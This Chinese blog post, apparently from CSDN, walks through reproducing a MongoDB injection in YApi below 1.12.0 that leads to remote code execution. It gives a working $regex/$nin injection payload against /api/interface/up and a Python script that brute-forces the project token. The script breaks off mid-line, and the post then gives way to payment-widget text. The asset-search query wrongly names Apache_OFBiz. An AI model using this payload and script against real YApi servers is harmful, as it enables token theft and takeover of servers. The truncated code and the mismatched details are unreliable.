YApi Mongo注入导致RCE漏洞复现

本文详细介绍了YApi平台中的MongoDB注入漏洞,导致远程代码执行(RCE)的风险。通过盲注获取token,上传攻击脚本到pre-response,并利用自动化测试接口触发脚本执行,揭示了漏洞复现的完整过程。同时提供了Python实现脚本,帮助理解漏洞原理。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。Api 由于 base.js 没有正确对 token 参数进行正确过滤,导致存在远程代码执行漏洞。

1.漏洞级别

高危

2.漏洞搜索

fofa

app="Apache_OFBiz"

3.影响范围

YApi < 1.12.0

4.漏洞复现

漏洞复现需要经历三个步骤

  • 通过接口注入获取token
  • 上传攻击脚本到 pre-response
  • 调用自动化测试接口触发攻击脚本
    下面会按照步骤逐步操作。

4.1 获取token

接口存在mongo注入漏洞,我们可以通过盲注的方式来获取有效token。
构造post请求

url/api/interface/up
            data = {
                'id' : -1,
                'token' : {
                    '$regex': guess,
                    '$nin': []
                }
            }
            headers = {
                'Content-Type': 'application/json'
            }
  • token长度为20
  • 数据库中的token为16进制存储,所以token每个字符的可能的值有’abcedf0123456789’
  • 我们可用正则匹配的方式来爆破token
  • 传入的参数token中的regex需要已^为前缀,这是一个正则表达式的写法

匹配正确的情况下会返回400
在这里插入图片描述
匹配错误则会返回40011
在这里插入图片描述
这里提供一个我实现的简单爆破脚本

import requests,json

choices = 'abcedf0123456789'

def get_token(url,already):
    current = "^"
    for i in range(20):
        for ch in choices:
            guess = current + ch
            data = {
   
   
                'id' : -1,
                'token' : {
   
   
                    '$regex': guess,
                    '$nin': []
                }
            }
            headers = {
   
   
                'Content-Type': 'application/json'
            }
            resp = requests.post(url+"/api/interface/up", data = json.dumps(data), headers=headers)
            res = resp.json()
            if res['errcode'] == 400:
                current =guess
                break
        print("正确的token为:" + current)

    return current[
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值